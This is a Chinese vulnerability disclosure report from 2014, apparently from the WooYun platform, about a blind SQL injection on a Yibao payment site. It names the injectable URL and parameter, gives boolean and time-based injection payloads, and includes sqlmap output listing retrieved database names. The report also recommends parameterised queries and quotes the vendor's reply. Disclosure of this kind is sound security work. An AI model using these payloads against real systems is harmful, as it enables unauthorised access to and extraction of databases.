漏洞详情

披露状态:

2014-05-06: 细节已通知厂商并且等待厂商处理中
2014-05-07: 厂商已经确认,细节仅向厂商公开
2014-05-08: 厂商提前公开漏洞,细节向公众公开

简要描述:

易宝支付某站sql注入,盲注

详细说明:

注入点:http://www.yibao.com/api/rest.php/createBanner?advertising_id=17



判断:

http://www.yibao.com/api/rest.php/createBanner?advertising_id=17' and 12=12 and 'd'='d,页面正常

1.PNG



http://www.yibao.com/api/rest.php/createBanner?advertising_id=17' and 12=112 and 'd'='d 页面返回异常

2.PNG





漏洞证明:

盲注,拿sqlmap跑,速度很慢,截止目前只跑出几个库,点到为止了。

sqlmap identified the following injection points with a total of 163 HTTP(s) requests:

---

Place: GET

Parameter: advertising_id

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: advertising_id=17' AND SLEEP(5) AND 'JNUl'='JNUl

---

[14:09:35] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5.0.11

[14:09:35] [INFO] fetching database names

[14:09:35] [INFO] fetching number of databases

[14:09:35] [INFO] retrieved:

[14:09:35] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]

2

[14:15:37] [INFO] adjusting time delay to 2 seconds due to good response times

0

[14:16:08] [INFO] retrieved: information_schema

[14:57:46] [INFO] retrieved: bank_yibao_com

[15:24:37] [INFO] retrieved: box

[15:31:41] [INFO] retrieved: coupon



修复方案:

参数化

版权声明:转载请注明来源 greg.wu@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-05-07 15:08

厂商回复:

感谢您的提交,由于该系统已废弃将下架,且数据库中未存放账号密码等信息,故rank值给的低,望见谅。

最新状态:

2014-05-08:


漏洞评价: